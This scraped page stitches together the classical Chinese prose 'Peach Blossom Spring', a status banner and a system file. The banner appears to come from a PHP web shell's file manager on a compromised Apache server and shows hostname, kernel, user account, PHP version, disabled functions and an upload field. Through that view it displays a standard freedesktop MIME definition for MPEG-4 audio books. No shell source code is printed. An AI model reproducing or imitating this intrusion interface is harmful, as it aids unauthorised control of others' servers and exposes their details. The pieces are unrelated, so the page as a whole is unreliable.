晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /usr/share/mime/audio/ |
Upload File : |
<?xml version="1.0" encoding="utf-8"?> <mime-type xmlns="http://www.freedesktop.org/standards/shared-mime-info" type="audio/x-m4b"> <!--Created automatically by update-mime-database. DO NOT EDIT!--> <comment>MPEG-4 audio book</comment> <comment xml:lang="ar">كتاب MPEG-4 السمعي</comment> <comment xml:lang="be@latin">Aŭdyjokniha MPEG-4</comment> <comment xml:lang="bg">Аудио книга — MPEG-4</comment> <comment xml:lang="ca">llibre d'àudio MPEG-4</comment> <comment xml:lang="cs">zvuková kniha MPEG-4</comment> <comment xml:lang="da">MPEG4-lydbog</comment> <comment xml:lang="de">MPEG-4-Hörbuch</comment> <comment xml:lang="el">Ηχητικό βιβλίο MPEG-4</comment> <comment xml:lang="en_GB">MPEG-4 audio book</comment> <comment xml:lang="eo">MPEG-4-sonlibro</comment> <comment xml:lang="es">audiolibro MPEG-4</comment> <comment xml:lang="eu">MPEG-4 audio-liburua</comment> <comment xml:lang="fi">MPEG-4-äänikirja</comment> <comment xml:lang="fo">MPEG-4 ljóðbók</comment> <comment xml:lang="fr">livre audio MPEG-4</comment> <comment xml:lang="ga">closleabhar MPEG-4</comment> <comment xml:lang="gl">sonlibro de MPEG-4</comment> <comment xml:lang="he">ספר דיגיטלי MPEG-4</comment> <comment xml:lang="hr">MPEG-4 zvučna knjiga</comment> <comment xml:lang="hu">MPEG-4 hangoskönyv</comment> <comment xml:lang="ia">Libro audio MPEG-4</comment> <comment xml:lang="id">Buku audio MPEG-4</comment> <comment xml:lang="it">Audiolibro MPEG-4</comment> <comment xml:lang="ja">MPEG-4 オーディオブック</comment> <comment xml:lang="ka">MPEG-4 აუდიოწიგნი</comment> <comment xml:lang="kk">MPEG-4 аудио кітабы</comment> <comment xml:lang="ko">MPEG-4 오디오북</comment> <comment xml:lang="lt">MPEG-4 garso knyga</comment> <comment xml:lang="lv">MPEG-4 audio grāmata</comment> <comment xml:lang="nb">MPEG-4-lydbok</comment> <comment xml:lang="nl">MPEG4-audioboek</comment> <comment xml:lang="nn">MPEG-4-lydbok</comment> <comment xml:lang="oc">libre àudio MPEG-4</comment> <comment xml:lang="pl">Książka dźwiękowa MPEG-4</comment> <comment xml:lang="pt">livro áudio MPEG-4</comment> <comment xml:lang="pt_BR">Áudio livro MPEG-4</comment> <comment xml:lang="ro">Carte audio MPEG-4</comment> <comment xml:lang="ru">Аудиокнига MPEG-4</comment> <comment xml:lang="sk">Zvuková kniha MPEG-4</comment> <comment xml:lang="sl">Zvočna knjiga MPEG-4</comment> <comment xml:lang="sq">Audiolibër MPEG-4</comment> <comment xml:lang="sr">МПЕГ-4 звукотека</comment> <comment xml:lang="sv">MPEG-4-ljudbok</comment> <comment xml:lang="tr">MPEG-4 sesli kitabı</comment> <comment xml:lang="uk">аудіокнига MPEG-4</comment> <comment xml:lang="vi">Sách âm thanh MPEG-4</comment> <comment xml:lang="zh_CN">MPEG-4 有声书</comment> <comment xml:lang="zh_TW">MPEG-4 音訊書</comment> <sub-class-of type="audio/mp4"/> <glob pattern="*.m4b"/> <glob pattern="*.f4b"/> </mime-type>